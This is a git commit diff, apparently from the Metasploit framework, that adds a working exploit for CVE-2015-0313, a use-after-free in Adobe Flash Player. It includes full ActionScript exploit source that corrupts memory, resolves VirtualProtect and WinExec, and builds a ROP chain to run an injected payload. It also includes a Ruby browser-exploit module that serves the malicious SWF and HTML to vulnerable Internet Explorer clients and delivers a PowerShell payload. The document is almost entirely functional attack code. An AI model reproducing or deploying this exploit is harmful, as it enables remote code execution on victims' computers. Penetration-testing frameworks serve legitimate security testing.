Land #5030, CVE-2015-0313 Flash Exploit

bug/bundler_fix
sinn3r 2015-03-30 11:31:53 -05:00
commit 8ea1ffc6ff
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
4 changed files with 315 additions and 0 deletions

Binary file not shown.

View File

@ -3,6 +3,7 @@
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/

207
external/source/exploits/CVE-2015-0313/Main.as vendored Executable file
View File

@ -0,0 +1,207 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var worker:Worker
private var mc:MessageChannel
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String = ""
public function Main()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
ba.clear()
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
var main:uint = ov[0][0x409] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
}
private function onMessage(e:Event):void
{
casi32(0, 1022, 0xFFFFFFFF)
if (ba.length != 0xffffffff) mc.receive()
else {
ba.endian = "littleEndian"
var data:Array = (mc.receive() as String).split("/")
byte_write(parseInt(data[0]))
var buffer:uint = parseInt(data[1]) as uint
var main:uint = parseInt(data[2]) as uint
var vtable:uint = parseInt(data[3]) as uint
var flash:uint = base(vtable)
var ieshims:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", ieshims)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray With Workers Use After Free',
'Description' => %q{
This module exploits an use after free vulnerability in Adobe Flash Player. The
vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
is freed from an ActionScript worker, who can fill the memory and notify the main
thread to corrupt the new contents. This module has been tested successfully on
Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'hdarwin', # Public exploit by @hdarwin89 (all the magic)
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0313'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'],
['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Feb 02 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end